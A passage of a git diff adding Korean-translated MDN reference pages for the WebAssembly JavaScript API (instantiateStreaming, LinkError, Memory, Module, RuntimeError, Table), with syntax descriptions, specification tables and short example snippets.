+<p>다음 예제 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html">instantiate-streaming.html</a> 데모보기 및 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html">view it live</a>)에서는 원본 소스에서 .wasm 모듈을 직접 스트리밍 한 다음 컴파일하고 인스턴스화합니다. 약속은 <code>ResultObject</code>로 충족됩니다.<code>instantiateStreaming()</code> 함수는 {{domxref("Response")}} 객체에 대한 promise를 받아들이므로 직접 {{domxref("WindowOrWorkerGlobalScope.fetch()")}} 호출을 전달할 수 있으며 응답을 수행하면 함수에 응답을 전달합니다.</p>
+
+<pre class="brush: js">var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
+
+WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj =&gt; obj.instance.exports.exported_func());</pre>
+
+<p>그런 다음 <code>ResultObject</code>의 인스턴스 구성원에 액세스하고 포함 된 내 보낸 함수를 호출합니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly Embedding', '#webassemblyinstantiatestreaming', 'instantiateStreaming()')}}</td>
+   <td>{{Spec2('WebAssembly Embedding')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.instantiateStreaming")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/linkerror/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/linkerror/index.html
new file mode 100644
index 0000000000..b9b5c3264c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/linkerror/index.html
@@ -0,0 +1,113 @@
+---
+title: WebAssembly.LinkError()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError
+---
+<div>{{JSRef}}</div>
+
+<p>The <code><strong>WebAssembly.LinkError()</strong></code> constructor creates a new WebAssembly <code>LinkError</code> object, which indicates an error during module instantiation (besides <a href="http://webassembly.org/docs/semantics/#traps">traps</a> from the start function). </p>
+
+<p><code><strong>WebAssembly.LinkError()</strong></code> 생성자는 새 WebAssembly <code>LinkError</code> 객체를 만듭니다. 이 객체는 모듈 인스턴스화 중의 오류를 나타냅니다 (시작 함수의 <a href="http://webassembly.org/docs/semantics/#traps">traps</a>와 함께).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new WebAssembly.LinkError(<var>message</var>, <var>fileName</var>, <var>lineNumber</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>사람이 읽을 수 있는 오류 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드가 들어있는 파일의 이름입니다.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드의 행 번호입니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>LinkError</code></em> 생성자에는 고유 한 고유 속성이 없지만 프로토 타입 체인을 통해 일부 속성을 상속합니다.</p>
+
+<dl>
+ <dt><code>WebAssembly.LinkError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토 타입을 작성한 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Error.prototype.message", "WebAssembly.LinkError.prototype.message")}}</dt>
+ <dd>에러 메시지. ECMA-262는 {{jsxref ( "URIError")}}가 <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>에서 자체 <code>message</code> 속성을 제공하도록 지정했지만 {{jsxref ( "Error.prototype.message")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.name", "WebAssembly.LinkError.prototype.name")}}</dt>
+ <dd>에러 이름. {{jsxref("Error")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "WebAssembly.LinkError.prototype.fileName")}}</dt>
+ <dd>해당 에러가 발생한 파일의 경로. {{jsxref("Error")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "WebAssembly.LinkError.prototype.lineNumber")}}</dt>
+ <dd>에러가 발생한 파일의 행 번호. {{jsxref("Error")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "WebAssembly.LinkError.prototype.columnNumber")}}</dt>
+ <dd>이 오류가 발생한 행의 열 번호입니다.. {{jsxref("Error")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "WebAssembly.LinkError.prototype.stack")}}</dt>
+ <dd>스텍 추적. {{jsxref("Error")}}를 상속받습니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>LinkError</code></em> 생성자에는 자체 메서드가 없지만 프로토 타입 체인을 통해 일부 메서드를 상속합니다.</p>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource", "WebAssembly.LinkError.prototype.toSource()")}}</dt>
+ <dd>동일한 오류로 평가 될 수있는 코드를 반환합니다. {{jsxref("Error")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.toString", "WebAssembly.LinkError.prototype.toString()")}}</dt>
+ <dd>지정된 Error 객체를 나타내는 문자열을 반환합니다. {{jsxref("Error")}}를 상속받습니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 snippet은 새 <code>LinkError</code> 인스턴스를 만들고 콘솔에 세부 정보를 기록합니다.</p>
+
+<pre class="brush: js">try {
+  throw new WebAssembly.LinkError('Hello', 'someFile', 10);
+} catch (e) {
+  console.log(e instanceof LinkError); // true
+  console.log(e.message);                 // "Hello"
+  console.log(e.name);                    // "LinkError"
+  console.log(e.fileName);                // "someFile"
+  console.log(e.lineNumber);              // 10
+  console.log(e.columnNumber);            // 0
+  console.log(e.stack);                   // returns the location where the code was run
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial WebAssembly draft definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definition of standard NativeError types.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.LinkError")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/memory/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/memory/index.html
new file mode 100644
index 0000000000..96b1614fff
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/memory/index.html
@@ -0,0 +1,112 @@
+---
+title: WebAssembly.Memory()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WebAssembly.Memory()</strong></code> 생성자는 WebAssembly <code>Instance</code>가 액세스하는 메모리의 원시 바이트를 가진 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>(크기조정이 가능)인 새 <code>Memory</code> 객체를 만듭니다.</p>
+
+<p>메모리는 자바스크립트 혹은 WebAssembly 코드 안에서 만들어지며 자바스크립트 그리고 WebAssembly에서 접근하거나 변경이 가능합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var myMemory = new WebAssembly.Memory(memoryDescriptor);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>memoryDescriptor</em></dt>
+ <dd>다음의 멤버를 가질수 있는 객체입니다.
+ <dl>
+  <dt><em>initial</em></dt>
+  <dd>WebAssembly Page의 단위별 WebAssembly 메모리의 초기 크기입니다.</dd>
+  <dt><em>maximum {{optional_inline}}</em></dt>
+  <dd>WebAssembly 메모리의 최대 크기는 WebAssembly 페이지 단위로 증가 할 수 있습니다. 이 매개 변수가 있으면 <code>maximum</code> 매개 변수는 엔진에 대해 메모리를 전면에 예약하도록 합니다. 그러나 엔진은 이 예약 요청을 무시하거나 클램핑 할 수 있습니다. 일반적으로 대부분의 WebAssembly 모듈은 <code>maximum</code> 값을 설정할 필요가 없습니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: WebAssembly 페이지의 크기는 65,536 바이트로 64KiB로 고정되어 있습니다.</p>
+</div>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>memoryDescriptor</code>가 object 유형이 아닌 경우 {{jsxref ( "TypeError")}}가 발생합니다.</li>
+ <li><code>maximum</code>이 지정되고 <code>initial</code>보다 작은 경우 {{jsxref ( "RangeError")}}가 발생합니다.</li>
+</ul>
+
+<h2 id="Memory_instances"><code>Memory</code> instances</h2>
+
+<p>모든 <code>Memory</code> 인스턴스는 <code>Memory()</code>생성자의 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/prototype">prototype object</a>를 상속합니다.이 인스턴스는 모든 <code>Memory</code> 인스턴스에 적용되도록 수정할 수 있습니다.</p>
+
+<h3 id="Instance_properties">Instance properties</h3>
+
+<dl>
+ <dt><code>Memory.prototype.constructor</code></dt>
+ <dd>이 객체의 인스턴스를 생성 한 함수를 돌려줍니다. 기본적으로 이것은 {{jsxref("WebAssembly.Memory()")}} 생성자입니다.</dd>
+ <dt>{{jsxref("WebAssembly/Memory/buffer","Memory.prototype.buffer")}}</dt>
+ <dd>메모리에 포함 된 버퍼를 반환하는 접근 자 속성입니다.</dd>
+</dl>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<dl>
+ <dt>{{jsxref("WebAssembly/Memory/grow","Memory.prototype.grow()")}}</dt>
+ <dd>지정된 수의 WebAssembly 페이지 (각각 64KB 크기)만큼 메모리 인스턴스의 크기를 늘립니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p><code>WebAssembly.Memory</code> 객체를 가져 오는 두 가지 방법이 있습니다. 첫 번째 방법은 JavaScript에서 생성하는 것입니다. 다음 예제에서는 초기 크기가 10 페이지 (640KiB)이고 최대 크기가 100 페이지 (6.4MiB) 인 새 WebAssembly 메모리 인스턴스를 만듭니다.</p>
+
+<pre class="brush: js">var memory = new WebAssembly.Memory({initial:10, maximum:100});</pre>
+
+<p><code>WebAssembly.Memory</code> 객체를 가져 오는 두 번째 방법은 WebAssembly 모듈에서 내보냅니다. 다음 예제는 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html">memory.html</a>을 보세요. <a href="https://mdn.github.io/webassembly-examples/js-api-examples/memory.html">라이브로 보기</a>) 생성된 메모리를 가져 오는 동안 {{jsxref("WebAssembly.instantiateStreaming()")}} 메소드를 사용하여로드 된 memory.wasm 바이트 코드를 가져 와서 인스턴스화합니다. 위의 줄에. 그런 다음 메모리에 일부 값을 저장 한 다음 함수를 내 보낸 다음 일부 값의 합계에 사용합니다.</p>
+
+<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } })
+.then(obj =&gt; {
+  var i32 = new Uint32Array(memory.buffer);
+  for (var i = 0; i &lt; 10; i++) {
+    i32[i] = i;
+  }
+  var sum = obj.instance.exports.accumulate(0, 10);
+  console.log(sum);
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymemory-objects', 'Memory')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Memory")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/module/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/module/index.html
new file mode 100644
index 0000000000..814835fd00
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/module/index.html
@@ -0,0 +1,83 @@
+---
+title: WebAssembly.Module
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.Module</code></strong> 객체는 브라우저에서 이미 컴파일 된 stateless WebAssembly 코드를 포함하며 효율적으로 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker/postMessage">Workers와 공유</a>하고 여러 번 인스턴스화 할 수 있습니다. 모듈을 인스턴스화하려면 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate#Secondary_overload_%E2%80%94_taking_a_module_object_instance">WebAssembly.instantiate() 2차 오버로드를 호출</a>하세요.</p>
+
+<p><code>WebAssembly.Module()</code> 생성자 함수를 호출하여 지정된 WebAssembly 바이너리 코드를 동기식으로 컴파일 할 수 있습니다. 그러나 <code>Module</code>을 쓰는 주된 방법은 {{jsxref ( "WebAssembly.compile ()")}}과 같은 비동기 컴파일 함수를 사용하는 것입니다.</p>
+
+<h2 id="생성자_구문">생성자 구문</h2>
+
+<div class="warning">
+<p><strong>Important: </strong>대형 모듈의 컴파일은 비용이 많이들 수 있으므로 개발자는 동기 컴파일이 절대적으로 필요한 경우에만 Module () 생성자를 사용해야합니다. 비동기 {{jsxref ( "WebAssembly.compileStreaming ()")}} 메서드를 사용하세요.</p>
+</div>
+
+<pre class="syntaxbox">var myModule = new WebAssembly.Module(bufferSource);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><em>bufferSource</em></code></dt>
+ <dd>컴파일 할 .wasm 모듈의 이진 코드가 들어있는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a>또는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>입니다.</dd>
+</dl>
+
+<h2 id="Function_Properties_of_the_Module_Constructor">Function Properties of the <code>Module</code> Constructor</h2>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/WebAssembly/Module/customSections", "WebAssembly.Module.customSections()")}}</dt>
+ <dd>모듈(<code>Module</code>)과 문자열이 주어지면 모듈의 모든 사용자 정의 섹션 내용의 사본을 주어진 문자열 이름으로 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/WebAssembly/Module/exports", "WebAssembly.Module.exports()")}}</dt>
+ <dd>모듈(<code>Module</code>)이 주어지면 선언 된 모든 내보내기에 대한 설명이 들어있는 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/WebAssembly/Module/imports", "WebAssembly.Module.imports()")}}</dt>
+ <dd>모듈(<code>Module</code>)이 주어지면 선언 된 모든 가져오기에 대한 설명이 들어있는 배열을 반환합니다.</dd>
+</dl>
+
+<h2 id="Module_instances"><code>Module</code> instances</h2>
+
+<p>모든 <code>Module</code> 인스턴스는 <code>Module()</code> 생성자의 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/prototype">prototype object</a>에서 상속받습니다.이 인스턴스는 모든 <code>Module</code> 인스턴스에 적용되도록 수정할 수 있습니다.</p>
+
+<h3 id="Instance_properties">Instance properties</h3>
+
+<p>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/prototype', 'Properties')}}</p>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<p>모듈 인스턴스에는 기본 메서드가 없습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Module")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html
new file mode 100644
index 0000000000..ebd8da6f46
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html
@@ -0,0 +1,111 @@
+---
+title: WebAssembly.RuntimeError()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WebAssembly.RuntimeError()</strong></code><strong> </strong>생성자는 WebAssembly에서 <a href="http://webassembly.org/docs/semantics/#traps">trap</a>을 지정할 때마다 throw되는 새 WebAssembly <code>RuntimeError</code> 객체를 만듭니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new WebAssembly.RuntimeError(<var>message</var>, <var>fileName</var>, <var>lineNumber</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>인간이 읽을 수있는 오류 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드가 들어있는 파일의 이름입니다.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드의 행 번호입니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>RuntimeError</code> 생성자에는 고유 한 고유 속성이 없지만 프로토 타입 체인을 통해 일부 속성을 상속합니다.</em></p>
+
+<dl>
+ <dt><code>WebAssembly.RuntimeError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토 타입을 작성한 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Error.prototype.message", "WebAssembly.RuntimeError.prototype.message")}}</dt>
+ <dd>에러 메시지. ECMA-262는 {{jsxref ( "URIError")}}가 <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>에서 자체 <code>message</code> 속성을 제공하도록 지정했지만 {{jsxref ( "Error.prototype.message")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.name", "WebAssembly.RuntimeError.prototype.name")}}</dt>
+ <dd>오류 이름. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "WebAssembly.RuntimeError.prototype.fileName")}}</dt>
+ <dd>이 오류를 발생시킨 파일의 경로입니다. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "WebAssembly.RuntimeError.prototype.lineNumber")}}</dt>
+ <dd>이 오류가 발생한 파일의 행 번호입니다. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "WebAssembly.RuntimeError.prototype.columnNumber")}}</dt>
+ <dd>이 오류가 발생한 행의 열 번호입니다. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "WebAssembly.RuntimeError.prototype.stack")}}</dt>
+ <dd>스택 추적. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>RuntimeError</code> 생성자에는 자체 메서드가 없지만 프로토 타입 체인을 통해 일부 메서드를 상속합니다.</em></p>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource", "WebAssembly.RuntimeError.prototype.toSource()")}}</dt>
+ <dd>동일한 오류로 평가 될 수있는 코드를 반환합니다. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+ <dt>{{jsxref("Error.prototype.toString", "WebAssembly.RuntimeError.prototype.toString()")}}</dt>
+ <dd>지정된 <code>Error</code> 객체를 나타내는 문자열을 반환합니다. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음의 스니펫은, 새로운 RuntimeError 인스턴스를 작성해, 그 상세를 콘솔에 기록합니다.</p>
+
+<pre class="brush: js">try {
+  throw new WebAssembly.RuntimeError('Hello', 'someFile', 10);
+} catch (e) {
+  console.log(e instanceof RuntimeError); // true
+  console.log(e.message);                 // "Hello"
+  console.log(e.name);                    // "RuntimeError"
+  console.log(e.fileName);                // "someFile"
+  console.log(e.lineNumber);              // 10
+  console.log(e.columnNumber);            // 0
+  console.log(e.stack);                   // returns the location where the code was run
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial WebAssembly draft definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definition of standard NativeError types.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.RuntimeError")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/table/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/table/index.html
new file mode 100644
index 0000000000..9d86fe40c7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/table/index.html
@@ -0,0 +1,130 @@
+---
+title: WebAssembly.Table()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WebAssembly.Table()</strong></code> 생성자는 지정된 크기 및 요소 유형의 새 <code>Table</code> 객체를 만듭니다.</p>
+
+<p>이것은 자바 스크립트 래퍼 객체로, 함수 참조를 저장하는 WebAssembly 테이블을 나타내는 배열과 같은 구조입니다. JavaScript 또는 WebAssembly 코드로 작성된 테이블은 JavaScript 및 WebAssembly에서 액세스 및 변경할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 테이블은 현재 function references만 저장할 수 있지만 나중에 확장 될 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var myTable = new WebAssembly.Table(tableDescriptor);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>tableDescriptor</em></dt>
+ <dd>다음 멤버를 포함 할 수있는 객체입니다:
+ <dl>
+  <dt><em>element</em></dt>
+  <dd>테이블에 저장 될 값 유형을 나타내는 문자열. 현재로서는 <code>"anyfunc"</code>(함수) 값만있을 수 있습니다.</dd>
+  <dt><em>initial</em></dt>
+  <dd>WebAssembly 테이블의 초기 요소 수입니다.</dd>
+  <dt><em>maximum {{optional_inline}}</em></dt>
+  <dd>WebAssembly 테이블의 최대 증가 요소 수입니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>tableDescriptor</code>가 object 유형이 아닌 경우 {{jsxref ( "TypeError")}}가 발생합니다.</li>
+ <li><code>maximum</code>이 지정되고 initial보다 작은 경우 {{jsxref ( "RangeError")}}가 발생합니다.</li>
+</ul>
+
+<h2 id="Table_instances"><code>Table</code> instances</h2>
+
+<p>모든 <code>Table</code> 인스턴스는 <code>Table()</code>생성자의 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/prototype">prototype object</a>에서 상속받습니다.이 인스턴스는 모든 <code>Table</code> 인스턴스에 적용되도록 수정할 수 있습니다.</p>
+
+<h3 id="Instance_properties">Instance properties</h3>
+
+<dl>
+ <dt><code>Table.prototype.constructor</code></dt>
+ <dd>이 객체의 인스턴스를 생성 한 함수를 돌려줍니다. 기본적으로 이것은 {{jsxref("WebAssembly.Table()")}} 생성자입니다.</dd>
+ <dt>{{jsxref("WebAssembly/Table/length","Table.prototype.length")}}</dt>
+ <dd>테이블의 길이, 즉 요소의 수를 돌려줍니다.</dd>
+</dl>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<dl>
+ <dt>{{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}</dt>
+ <dd>접근 자 함수 - 주어진 색인에 저장된 요소를 가져옵니다.</dd>
+ <dt>{{jsxref("WebAssembly/Table/grow","Table.prototype.grow()")}}</dt>
+ <dd>지정된 요소 수만큼 Table 인스턴스의 크기를 늘립니다.</dd>
+ <dt>{{jsxref("WebAssembly/Table/set","Table.prototype.set()")}}</dt>
+ <dd>지정된 인덱스에 격납되어있는 요소를, 지정된 값으로 설정합니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제 (table2.html <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">source code</a> 및 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">live version</a> 참조)는 초기 크기가 2인 새 WebAssembly Table 인스턴스를 만듭니다. 그런 다음 두 개의 인덱스 (표 {{jsxref ( "WebAssembly / Table / get", "Table.prototype.get ()")}}를 통해 검색하여 테이블의 길이와 내용을 인쇄합니다. 길이가 2이고 {{jsxref ( "null")}}이 두개라고 출력됩니다.</p>
+
+<pre class="brush: js">var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
+console.log(tbl.length);  // "2"
+console.log(tbl.get(0));  // "null"
+console.log(tbl.get(1));  // "null"</pre>
+
+<p>그런 다음 테이블을 포함한 <code>importObj</code>를 만듭니다.</p>
+
+<pre class="brush: js">var importObj = {
+  js: {
+    tbl:tbl
+  }
+};</pre>
+
+<p>마지막으로 {{jsxref ( "WebAssembly.instantiateStreaming ()")}} 메소드를 사용하여 wasm 모듈 (table2.wasm)을 로드하고 인스턴스화합니다. table2.wasm 모듈에는 두 개의 함수 (하나는 42를 반환하고 다른 하나는 83을 반환하는 함수)가 들어 있고 가져온 테이블의 요소 0과 1에 둘 다 저장합니다 (<a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.wat">text representation</a> 참조). 인스턴스화 후에도 테이블의 길이는 여전히 2이지만 JS에 호출 할 수있는 호출 가능한 <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly Functions</a>가 요소에 포함됩니다.</p>
+
+<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
